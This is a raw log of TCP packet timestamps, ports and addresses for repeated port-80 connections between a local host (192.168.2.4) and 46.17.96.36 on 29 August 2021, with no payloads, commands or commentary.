Aug 29, 2021 22:28:01.341846943 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.373877048 CEST	80	49899	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.373997927 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.374511957 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.374877930 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.374913931 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375031948 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375057936 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375137091 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.375206947 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375277996 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.375478983 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375638008 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375741959 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.375786066 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.375858068 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.406495094 CEST	80	49899	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410020113 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410222054 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410253048 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410290003 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.410326958 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410351038 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410371065 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.410547972 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.410605907 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410679102 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410798073 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.410866976 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.410897970 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.411050081 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445151091 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445188999 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445216894 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445254087 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445307016 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445400000 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445436001 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445458889 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445511103 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445530891 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445589066 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.445825100 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445859909 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.445936918 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.446012020 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446037054 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446176052 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446367979 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446593046 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446619987 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446733952 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.446887970 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.447088957 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.447242975 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.459302902 CEST	80	49899	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.460402012 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.480458021 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480490923 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480515003 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480665922 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480691910 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480873108 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480951071 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.480977058 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.481125116 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.481161118 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.514205933 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.514321089 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.574561119 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.574944019 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.576464891 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.606743097 CEST	80	49899	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.606885910 CEST	49899	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.608675003 CEST	80	49900	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.608782053 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.609302044 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.609432936 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.609756947 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.641824961 CEST	80	49900	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.679158926 CEST	80	49900	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.679289103 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.764517069 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.772178888 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.797480106 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.798729897 CEST	80	49900	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.798825979 CEST	49900	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.804183960 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.804306984 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.805602074 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.805681944 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.805856943 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.805963039 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.832901001 CEST	80	49902	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.833039045 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.837147951 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837168932 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837487936 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837737083 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837750912 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837759972 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837810040 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.837874889 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.840262890 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.869689941 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.869733095 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.875531912 CEST	80	49902	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.919353962 CEST	80	49902	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.919433117 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.043745995 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.044868946 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.077018023 CEST	80	49903	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.077148914 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.078275919 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.079310894 CEST	80	49902	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.079396963 CEST	49902	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.110171080 CEST	80	49903	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.149172068 CEST	80	49903	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.149365902 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.188735962 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.220572948 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.220701933 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.221143961 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.253016949 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.253079891 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.253407955 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.261879921 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.263343096 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.285168886 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.285351992 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.294258118 CEST	80	49903	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.294362068 CEST	49903	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.298428059 CEST	80	49904	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.298662901 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.300124884 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.317435026 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.317487001 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.317513943 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.317589998 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.317640066 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.317744970 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.317887068 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.317924023 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.318115950 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.318172932 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.336875916 CEST	80	49904	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.349559069 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.349724054 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.349737883 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.349836111 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.349929094 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.350059986 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.350164890 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.350246906 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.350322008 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.350347996 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.350419044 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.350451946 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.350518942 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.376219034 CEST	80	49904	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.376388073 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.381607056 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.381627083 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.381690025 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.381750107 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.381793022 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.381861925 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.381939888 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.381989002 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.382042885 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.382201910 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.382266045 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.382287979 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.382334948 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.382375956 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.382431030 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.382852077 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.413499117 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413583994 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413649082 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413734913 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.413794041 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.413803101 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413887024 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413922071 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.413922071 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.413985014 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.414004087 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.414179087 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.414213896 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.414298058 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.414323092 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.414407969 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.414474964 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.445606947 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.445645094 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.445772886 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.445853949 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.445993900 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446017981 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.446033955 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446149111 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.446343899 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446378946 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446418047 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446451902 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.446474075 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.477632999 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.477674007 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.477736950 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.477861881 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.478282928 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.503000975 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.505635023 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.515764952 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.515878916 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.538464069 CEST	80	49905	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.538489103 CEST	80	49904	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.539104939 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.539148092 CEST	49904	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.539150953 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.571677923 CEST	80	49905	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.610326052 CEST	80	49905	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.610471010 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.770073891 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.770389080 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.771454096 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.782751083 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.802061081 CEST	80	49901	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.802190065 CEST	49901	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.802440882 CEST	80	49905	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.802628040 CEST	49905	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.804672003 CEST	80	49906	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.805478096 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.816734076 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.817524910 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.817747116 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.818630934 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.818785906 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.818949938 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.819061995 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.850141048 CEST	80	49906	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853255987 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853276968 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853558064 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853588104 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853627920 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853719950 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.853780031 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.853846073 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.853861094 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.854578972 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.854617119 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.888519049 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.888541937 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.888648033 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.888659954 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.888704062 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.888798952 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.888824940 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.889185905 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.889271021 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.889379978 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.889533997 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.889544964 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.889616966 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.889651060 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.893512964 CEST	80	49906	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.893579960 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.923748016 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.923769951 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.923778057 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.923787117 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.923868895 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.923918009 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.923942089 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:02.924072027 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.924382925 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.924490929 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.924509048 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.924680948 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.958966970 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.959016085 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.959044933 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.959069014 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.994050026 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:02.994415045 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.017544985 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.018194914 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.019819021 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.051779032 CEST	80	49906	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.051842928 CEST	80	49908	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.051999092 CEST	49906	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.052059889 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.052295923 CEST	80	49907	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.052424908 CEST	49907	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.052992105 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.085413933 CEST	80	49908	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.130621910 CEST	80	49908	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.130726099 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.250396967 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.251462936 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.255139112 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.282712936 CEST	80	49908	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.283018112 CEST	49908	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.286134005 CEST	80	49909	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.286284924 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.286886930 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.288554907 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.288667917 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.289186954 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.289207935 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.289426088 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.289490938 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.321598053 CEST	80	49909	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322531939 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322554111 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322710037 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322815895 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322830915 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.322896957 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.322956085 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.323023081 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.323270082 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.323373079 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.323532104 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.323604107 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.324250937 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.324378967 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.324461937 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.325066090 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.356297970 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.356328011 CEST	80	49910	46.17.96.36	192.168.2.4
